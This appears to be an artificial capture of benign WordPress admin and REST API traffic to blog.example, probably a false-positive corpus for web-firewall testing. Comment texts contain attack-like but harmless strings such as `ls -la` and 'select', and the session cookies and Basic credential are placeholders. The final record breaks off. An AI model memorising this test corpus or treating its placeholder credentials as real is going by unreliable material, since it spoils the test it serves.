{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 81", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203365"], "body": "_ajax_nonce=575b959a1d&action=dim-comment&id=2&dimClass=unapproved&new=unapproved"}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 358", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203369"], "body": "newcomment_author=&newcomment_author_email=&newcomment_author_url=&action=replyto-comment&comment_ID=2&comment_post_ID=1&status=&position=-1&checkbox=1&mode=detail&_ajax_nonce-replyto-comment=465b2dff40&_wp_unfiltered_html_comment=8f43bb2d1f&content=Thanks%2C+Jo!+Try+%60ls+-la%60+and+%3Cb%3Ethen%3C%2Fb%3E+restart.&id=1&comments_listing=all&approve_parent=1"}
{"method": "GET", "target": "/wp-admin/comment.php?action=editcomment&c=2", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203369"], "body": ""}
{"method": "POST", "target": "/wp-admin/comment.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 613", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/comment.php?action=editcomment&c=2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203373"], "body": "_wpnonce=e9770a5628&_wp_http_referer=%2Fwp-admin%2Fcomment.php%3Faction%3Deditcomment%26c%3D2&action=editedcomment&comment_ID=2&comment_post_ID=1&newcomment_author=Jo+Reader&newcomment_author_email=jo%40example.com&newcomment_author_url=https%3A%2F%2Fexample.org%2F&content=An+edited+comment%2C+it%27s+about+select+wines.&closedpostboxesnonce=b39bd4c73a&comment_status=1&mm=11&jj=09&aa=2026&hh=05&mn=45&ss=44&hidden_mm=11&cur_mm=11&hidden_jj=09&cur_jj=09&hidden_aa=2026&cur_aa=2026&hidden_hh=05&cur_hh=05&hidden_mn=45&cur_mn=49&comment_parent=0&save=Update&c=2&p=1&referredby=&_wp_original_http_referer=&noredir=1"}
{"method": "GET", "target": "/wp-admin/edit-comments.php?p=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/comment.php?action=editcomment&c=2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203373"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=23&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203386"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 263", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203393"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-10&data%5Bwp-check-locked-posts%5D%5B%5D=post-16&data%5Bwp-check-locked-posts%5D%5B%5D=post-3&data%5Bwp-check-locked-posts%5D%5B%5D=post-2&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-page&has_focus=true"}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=24&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/botany-flowers-closeup.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/red-hibiscus-closeup.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/grid-flower-2.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/campanula-alliariifolia-flower.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/delphinium-flowers.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//header?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//footer?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?context=edit&offset=0&order=desc&orderby=date&per_page=3&ignore_sticky=false&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?context=edit&offset=0&order=desc&orderby=date&per_page=12&ignore_sticky=false&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/menus?context=view&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/navigation-fallback?_embed=true&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/types/post?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/navigation?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/?customize_changeset_uuid=f8b37173-205c-47cb-8499-41107f2fbe14&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203401"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/users/me/application-passwords?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432"], "body": "{\"name\":\"Example phone app\"}"}
{"method": "GET", "target": "/wp-json/", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?per_page=5&search=hello", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "content-type: application/json", "content-length: 77", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": "{\"title\": \"From the app\", \"content\": \"<p>It's a test</p>\", \"status\": \"draft\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=sample-page", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users/me?context=edit", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/comments", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "content-type: application/json", "content-length: 102", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": "{\"post\": 1, \"content\": \"A note from the app\", \"author_name\": \"Bob\", \"author_email\": \"bob@example.com\"}"}
{"method": "GET", "target": "/?rest_route=/wp/v2/posts&per_page=2", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fblog.example%2Fhello-world%2F", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-login.php?action=logout&_wpnonce=e9a74137b6", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203454"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/templates/twentytwentyfive//index?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 169", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": "{\"id\":\"twentytwentyfive//index\",\"content\":\"<!-- wp:template-part {\\\"slug\\\":\\\"header\\\"} /-->\\n\\n<!-- wp:paragraph -->\\n<p>Our opening hours.</p>\\n<!-- /wp:paragraph -->\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//header?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 170", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": 